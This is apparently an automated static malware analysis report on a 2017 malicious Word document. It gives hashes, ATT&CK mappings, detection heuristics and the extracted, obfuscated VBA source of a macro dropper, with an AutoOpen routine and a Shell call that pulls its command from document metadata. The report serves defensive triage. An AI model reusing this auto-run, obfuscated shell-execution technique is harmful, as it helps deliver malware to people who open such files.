Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63eaddbbe91031cb…

MALICIOUS

Office (OLE)

56.0 KB Created: 2017-10-02 23:15:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: a100e697aae81957d5b3bae829cc1e6f SHA-1: 873f9000bc419c6157f2da8d840f9d0f0f026fb2 SHA-256: 63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, that utilize the Shell() function. This function is used to execute a PowerShell command, indicating an attempt to download and execute a second-stage payload. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports the malicious nature of the document.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    rbPdsUtE = "YyYRpBZBSd" + "LZKEwuZyty" + "ympHpwUDsX" + "ArgUfFbEW" + ydGGkZrSGN = "SbbUaYfze" + "DdVrxMhZuR" + "bFBtTwBt" + "ENTmDss" + AFPYMYg = "AbYSVcXSLBS" + "FwxRrwZ" + "ZZRhaVbgkD" + "puWsecETK" + "pFSudUw"
VBA.Shell$ "" + VzfCfaMan + CBzFvkUUhT + kwETLtcTus + RvyBdGKPvaA + gUgDePnZvC + TYHxUgfF + NMPVwHBzKrz + KUhzXYrNLLL + ActiveDocument.BuiltInDocumentProperties("Comments") + VzfCfaMan + CBzFvkUUhT + kwETLtcTus + RvyBdGKPvaA + gUgDePnZvC + TYHxUgfF + NMPVwHBzKrz + KUhzXYrNLLL + dEXhyBAkzY, 0
EyDZEMXmF = "kWyGBEmZ" + "aYLRRMpmk" + "DXXYdXbgvHP" + "sKDfLcuM" + uXvAgCHR = "vUFzYuF" + "CZKyesP" + "BMVRZUwYD" + "PxReTAXFHVT" + "rgGtVvADZ"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
bzphgVNnmY
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2143 bytes
SHA-256: 6ea0b482a91bd9b9c2e9cbce35021bb2258b53bd7f57aa13ccf88d11a5b8ab8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
103 of 136 identifiers look randomly generated (e.g. 'RvyBdGKPvaA') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
bzphgVNnmY
End Sub
Function bzphgVNnmY()
nbxzFdFFCbw = "AZhAezsxkuW" + "hmCXcyHPrXu" + "xTgTcWhfUVC" + "NUBpvcyHcw" + gmcvxFUKFu = "wLuwgSAUX" + "HefvpdaP" + "ZZAfzRYk" + "xuDYXWDmN" + "rregucNDVum"
ButLtxT = "uSHNCMxVzmn" + "TKyubwxUre" + "PfmKSnbMFX" + "CwCwKYpeH" + PHDsuGvwX = "snNYGtbT" + "ZaxRYsdvmkp" + "MpnuCNaFz" + "XHLwRUXNd" + "cSDnCsezEs"
BuDRDaeFMBn = "uhZyGUkLfDv" + "mgdEzpsPhDB" + "KvHPUrUXvcf" + "ecZnSLu" + cGCMAETC = "sYaYCwbHs" + "kbUxSdtV" + "PGndKPawmE" + "arBVmeDr" + rRXAZZf = "uKTZawp" + "WdebvwkSxUN" + "gRTrBNTwhuY" + "wLKrxBw" + "gedTDCMu"
rbPdsUtE = "YyYRpBZBSd" + "LZKEwuZyty" + "ympHpwUDsX" + "ArgUfFbEW" + ydGGkZrSGN = "SbbUaYfze" + "DdVrxMhZuR" + "bFBtTwBt" + "ENTmDss" + AFPYMYg = "AbYSVcXSLBS" + "FwxRrwZ" + "ZZRhaVbgkD" + "puWsecETK" + "pFSudUw"
VBA.Shell$ "" + VzfCfaMan + CBzFvkUUhT + kwETLtcTus + RvyBdGKPvaA + gUgDePnZvC + TYHxUgfF + NMPVwHBzKrz + KUhzXYrNLLL + ActiveDocument.BuiltInDocumentProperties("Comments") + VzfCfaMan + CBzFvkUUhT + kwETLtcTus + RvyBdGKPvaA + gUgDePnZvC + TYHxUgfF + NMPVwHBzKrz + KUhzXYrNLLL + dEXhyBAkzY, 0
EyDZEMXmF = "kWyGBEmZ" + "aYLRRMpmk" + "DXXYdXbgvHP" + "sKDfLcuM" + uXvAgCHR = "vUFzYuF" + "CZKyesP" + "BMVRZUwYD" + "PxReTAXFHVT" + "rgGtVvADZ"
cgYWLZxM = "CctBxszeW" + "AKAyZzSwnE" + "BCaGztKRRr" + "CszbSrV" + RwKnmRX = "SkpHUptDxwr" + "SFCwTpgLc" + "TLshrXCpK" + "zYBswWSu" + tYDFTkZb = "vAgVXwK" + "yzEpwtC" + "pTLZrMPdTw" + "CfnDsEDxbMn" + "uRpuuGtU"
hFSFBNhRsH = "CaXspsPaPRH" + "DepFTCvRT" + "chsXCbRR" + "DUMZawhRKm" + XSGKkBUFx = "eZTZvRa" + "wMBSpXE" + "zwLreyWD" + "fcPEwvAdDVz" + "WdpHsNz"
yLRXZAK = "kFaktwzrw" + "WdPYCAUna" + "YCgDLfsHMH" + "GguaMUS" + HDDdbWd = "RuAFgNaypW" + "FEyDyUDxrG" + "wEuKfKCp" + "MtzbxBaL" + VLKUhRf = "MMrpbkLSty" + "rcBWmmD" + "gdnDGvg" + "UUgTtcCPEk" + "TsGGuLDA"
End Function

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